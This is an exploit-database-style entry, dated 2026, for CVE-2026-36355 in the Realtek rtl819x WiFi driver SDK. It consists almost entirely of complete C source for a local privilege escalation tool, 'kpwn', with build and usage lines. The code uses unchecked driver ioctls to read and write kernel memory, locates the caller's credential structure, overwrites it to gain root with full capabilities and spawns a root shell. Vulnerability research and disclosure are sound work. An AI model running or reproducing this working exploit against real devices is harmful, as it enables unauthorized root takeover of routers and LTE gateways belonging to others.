Realtek rtl819x – Local Privilege
* Exploit Title: Realtek rtl819x - Local Privilege Escalation * Date: 2026-05-03 * Exploit Author: Daniil Gordeev * Vendor Homepage: http://www.realtek.com * Software Link: https://github.com/iptime-gpl/userapps_n104qi (representative GPL release) * Version: Realtek rtl819x Jungle SDK, all known versions through v3.4.14B * Tested on: Linux 3.18.48, ARMv7 Cortex-A7, Qualcomm MDM9607, rtl8192es.ko (MeiG FORGE_SLT711 / Ortel 4G LTE CPE) * CVE: CVE-2026-36355 * * kpwn - RTL8192CD kernel LPE exploit * * Exploits missing capability checks on ioctl 0x89F5/0x89F6 (write_mem/read_mem) * in the Realtek rtl819x out-of-tree WiFi driver SDK. * * Runs as ANY unprivileged user — no root needed at any stage. * Auto-detects task_struct offsets from init_task. * * Affected: ALL devices using Realtek rtl819x out-of-tree driver SDK * Chips: RTL8192C/D/E, RTL8188E, RTL8812, RTL8881A, RTL8197F, etc. * * Build: arm-linux-gnueabi-gcc -static -O2 -o tools/kpwn tools/kpwn.c * Usage: /tmp/kpwn (any user, GID 3003/inet on paranoid kernels) */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <errno.h> #include <dirent.h> #include <sys/ioctl.h> #include <sys/socket.h> #include <linux/wireless.h> #define IOCTL_WRITE 0x89F5 /* SIOCDEVPRIVATE+5: write_mem */ #define IOCTL_READ 0x89F6 /* SIOCDEVPRIVATE+6: read_mem */ /* kernel .data scan range for init_task (ARM, no KASLR) */ #define DATA_SCAN_START 0xC0800000 #define DATA_SCAN_END 0xC1000000 static int sockfd = -1; static int nioctls = 0; static char ifname[IFNAMSIZ]; /* ---- kernel R/W primitives ---- */ static int kread(unsigned long addr, void *out, int ndw) { struct iwreq wrq; char buf[256]; if (ndw > 32) ndw = 32; snprintf(buf, sizeof(buf), "dw,%lx,%x", addr, ndw); memset(&wrq, 0, sizeof(wrq)); strncpy(wrq.ifr_name, ifname, IFNAMSIZ); wrq.u.data.pointer = buf; wrq.u.data.length = strlen(buf) + 1; if (ioctl(sockfd, IOCTL_READ, &wrq) < 0) return -1; nioctls++; int n = wrq.u.data.length; if (n > 0 && out) memcpy(out, buf, n > 128 ? 128 : n); return n; } static unsigned int kread32(unsigned long addr) { unsigned int v = 0; kread(addr, &v, 1); return v; } static int kfill(unsigned long addr, int ndw, unsigned int val) { struct iwreq wrq; char buf[256]; snprintf(buf, sizeof(buf), "dw,%lx,%x,%x", addr, ndw, val); memset(&wrq, 0, sizeof(wrq)); strncpy(wrq.ifr_name, ifname, IFNAMSIZ); wrq.u.data.pointer = buf; wrq.u.data.length = strlen(buf) + 1; if (ioctl(sockfd, IOCTL_WRITE, &wrq) < 0) return -1; nioctls++; return 0; } /* ---- find vulnerable interface ---- */ static int find_interface(void) { DIR *d = opendir("/sys/class/net"); if (!d) return -1; struct dirent *e; unsigned int probe; while ((e = readdir(d))) { if (e->d_name[0] == '.' || strcmp(e->d_name, "lo") == 0) continue; strncpy(ifname, e->d_name, IFNAMSIZ - 1); probe = 0; if (kread(0xC0008000, &probe, 1) > 0 && probe != 0) { closedir(d); return 0; } } closedir(d); return -1; } /* ---- resolve init_task ---- */ static unsigned long scan_for_init_task(void) { /* * Brute-force: scan kernel .data for init_task.comm = "swapper". * Validate by checking cred pointer (must dereference to uid=0, gid=0). * * The returned base doesn't need to be exact — detect_offsets finds * all field positions relative to the base, and the math in find_task * and the overwrite phase uses (base + offset) pairs where any constant * shift cancels out. We just need "swapper" to land within the * detect_offsets search window (0x200-0x5F0 from returned base). */ unsigned char buf[128]; unsigned long addr; printf("[*] Scanning .data for init_task...\n"); for (addr = DATA_SCAN_START; addr < DATA_SCAN_END; addr += 128) { if (kread(addr, buf, 32) <= 0) continue; int j; for (j = 0; j <= 128 - 7; j += 4) { if (memcmp(buf + j, "swapper", 7) != 0) continue; unsigned long comm_addr = addr + j; /* validate: cred pointer just before comm → {usage, uid=0, gid=0} */ unsigned int cred_ptr; if (kread(comm_addr - 4, &cred_ptr, 1) <= 0) continue; if ((cred_ptr & 0xC0000000) != 0xC0000000 || cred_ptr == 0xFFFFFFFF) continue; unsigned int chk[3]; if (kread(cred_ptr, chk, 3) <= 0) continue; if (chk[0] < 1 || chk[0] >= 10000) /* usage refcount */ continue; if (chk[1] != 0 || chk[2] != 0) /* uid=0, gid=0 */ continue; /* * Return comm_addr - 0x400 as base. This places comm at * offset 0x400 in the detect_offsets window (well within * the 0x200-0x5F0 search range). The base doesn't need * to be the true struct start — all offset math cancels. */ unsigned long base = comm_addr - 0x400; printf("[+] scan: comm @ 0x%08lx, base 0x%08lx\n", comm_addr, base); return base; } } return 0; } static unsigned long resolve_init_task(void) { return scan_for_init_task(); } /* ---- auto-detect task_struct layout ---- */ struct offsets { unsigned long tasks, pid, cred, comm; }; static int detect_offsets(unsigned long init, struct offsets *o) { unsigned char data[0x600]; int i; /* bulk-read init_task (12 reads, 128 bytes each) */ for (i = 0; i < 0x600; i += 128) if (kread(init + i, data + i, 32) <= 0) { printf("[-] Read init_task+0x%x failed\n", i); return -1; } /* comm: find "swapper" string — unique, most reliable anchor */ o->comm = 0; for (i = 0x200; i < 0x5F0; i += 4) if (memcmp(data + i, "swapper", 7) == 0) { o->comm = i; break; } if (!o->comm) { printf("[-] 'swapper' not found in init_task\n"); return -1; } /* cred: kernel pointer just before comm → dereferences to {usage, uid=0, gid=0} */ o->cred = 0; for (i = o->comm - 4; i >= (int)o->comm - 16; i -= 4) { unsigned int val = *(unsigned int *)(data + i); if ((val & 0xC0000000) == 0xC0000000 && val != 0xFFFFFFFF) { unsigned int chk[3]; if (kread(val, chk, 3) > 0 && chk[0] >= 1 && chk[0] < 10000 && chk[1] == 0 && chk[2] == 0) { o->cred = i; break; } } } if (!o->cred) { printf("[-] Cred pointer not found near comm\n"); return -1; } /* tasks: non-self-referencing list_head with valid chain and printable comm at next */ o->tasks = 0; for (i = 0x100; i < 0x300; i += 4) { unsigned int next = *(unsigned int *)(data + i); unsigned int prev = *(unsigned int *)(data + i + 4); if ((next & 0xC0000000) != 0xC0000000 || next == 0xFFFFFFFF) continue; if ((prev & 0xC0000000) != 0xC0000000 || prev == 0xFFFFFFFF) continue; if (next == (unsigned int)(init + i)) continue; unsigned int nn = kread32(next); if ((nn & 0xC0000000) != 0xC0000000) continue; unsigned long next_base = (unsigned long)next - i; char tc[8] = {0}; if (kread(next_base + o->comm, tc, 2) > 0 && tc[0] >= 0x20 && tc[0] < 0x7F) { o->tasks = i; break; } } if (!o->tasks) { printf("[-] Tasks list_head not found\n"); return -1; } /* pid: 0 in init_task, cross-verified against two other tasks (different PIDs) */ o->pid = 0; unsigned int tasks_next = *(unsigned int *)(data + o->tasks); unsigned long first_base = (unsigned long)tasks_next - o->tasks; unsigned int second_ptr = kread32(tasks_next); unsigned long second_base = (unsigned long)second_ptr - o->tasks; for (i = o->tasks + 0x20; i < (int)o->comm - 0x20; i += 4) { if (*(unsigned int *)(data + i) != 0) continue; if (*(unsigned int *)(data + i + 4) != 0) continue; /* pid=0 AND tgid=0 */ unsigned int p1 = kread32(first_base + i); if (p1 == 0 || p1 >= 32768) continue; unsigned int p2 = kread32(second_base + i); if (p2 == 0 || p2 >= 32768) continue; if (p1 == p2) continue; o->pid = i; break; } if (!o->pid) { printf("[-] PID offset not found\n"); return -1; } return 0; } /* ---- walk task list backward (newest first, 1 ioctl per task) ---- */ static unsigned long find_task(unsigned long init, struct offsets *o, pid_t pid, int *walked) { unsigned long head = init + o->tasks; unsigned int buf[32]; unsigned long cur; int batch = 0; int span = 0; *walked = 0; /* if pid and tasks fit in one 32-dword read, batch them */ if (o->pid > o->tasks) { span = (o->pid - o->tasks) / 4 + 1; if (span <= 32) batch = 1; } /* walk backward: tasks.prev (offset +4) points to newest task */ cur = kread32(head + 4); for (int i = 0; i < 512; i++) { if (cur == head || cur == 0) break; unsigned long base = cur - o->tasks; unsigned int p; unsigned long prev; if (batch) { /* single read gets tasks.next, tasks.prev, and pid */ if (kread(cur, buf, span) <= 0) break; prev = buf[1]; /* tasks.prev = next older task */ p = buf[(o->pid - o->tasks) / 4]; } else { /* fallback: two individual reads */ p = kread32(base + o->pid); prev = kread32(cur + 4); } (*walked)++; if (p == (unsigned int)pid) return base; cur = prev; } return 0; } /* ---- main ---- */ int main(void) { uid_t orig_uid = getuid(); gid_t orig_gid = getgid(); pid_t pid = getpid(); printf("kpwn \xe2\x80\x94 RTL8192CD kernel LPE\n"); printf("uid=%u gid=%u pid=%d\n\n", orig_uid, orig_gid, pid); /* socket */ printf("[*] Creating socket...\n"); sockfd = socket(AF_INET, SOCK_DGRAM, 0); if (sockfd < 0) { printf("[-] socket: %s\n", strerror(errno)); if (errno == EACCES) printf("[-] Need GID 3003 (inet) on paranoid kernels\n"); return 1; } /* find vulnerable interface */ printf("[*] Scanning interfaces...\n"); if (find_interface() < 0) { printf("[-] No rtl819x interface found\n"); return 1; } printf("[+] %s — read primitive confirmed\n", ifname); /* resolve init_task */ printf("[*] Resolving init_task...\n"); unsigned long init = resolve_init_task(); if (!init) { printf("[-] init_task not found\n"); return 1; } printf("[+] init_task @ 0x%08lx\n", init); /* auto-detect offsets */ printf("[*] Detecting task_struct layout...\n"); struct offsets o; if (detect_offsets(init, &o) < 0) return 1; printf("[+] comm=0x%03lx cred=0x%03lx tasks=0x%03lx pid=0x%03lx\n", o.comm, o.cred, o.tasks, o.pid); /* find our task_struct */ printf("[*] Searching for pid %d...\n", pid); int walked = 0; unsigned long task = find_task(init, &o, pid, &walked); if (!task) { printf("[-] pid %d not found (%d tasks walked)\n", pid, walked); return 1; } /* read and verify cred (batched: cred+comm in one read, uid+gid in one read) */ unsigned int info[5]; char *comm; unsigned long cred; unsigned int k_uid, k_gid; kread(task + o.cred, info, 5); /* cred ptr + 16 bytes of comm */ cred = info[0]; comm = (char *)&info[1]; unsigned int uids[2]; kread(cred + 0x04, uids, 2); /* uid + gid */ k_uid = uids[0]; k_gid = uids[1]; printf("[+] task=0x%08lx comm=\"%s\" (%d walked)\n", task, comm, walked); printf("[+] cred=0x%08lx uid=%u gid=%u\n", cred, k_uid, k_gid); if (k_uid != orig_uid) { printf("[-] uid mismatch: kernel=%u userspace=%u\n", k_uid, orig_uid); return 1; } /* overwrite cred -> root (2 ioctls: zero uids + fill all caps) */ printf("[*] Overwriting credentials...\n"); kfill(cred + 0x04, 9, 0); /* uid..fsgid + securebits = 0 */ kfill(cred + 0x28, 8, 0xFFFFFFFF); /* cap_{inheritable,permitted,effective,bset} = full */ if (getuid() != 0) { printf("[-] FAILED \xe2\x80\x94 uid still %d after overwrite\n", getuid()); return 1; } printf("[+] uid=%d euid=%d gid=%d egid=%d\n\n", getuid(), geteuid(), getgid(), getegid()); printf("*** GOT ROOT *** uid=%u -> %d (%d ioctls)\n\n", orig_uid, getuid(), nioctls); execl("/bin/sh", "sh", NULL); printf("[-] execl: %s\n", strerror(errno)); return 1; } |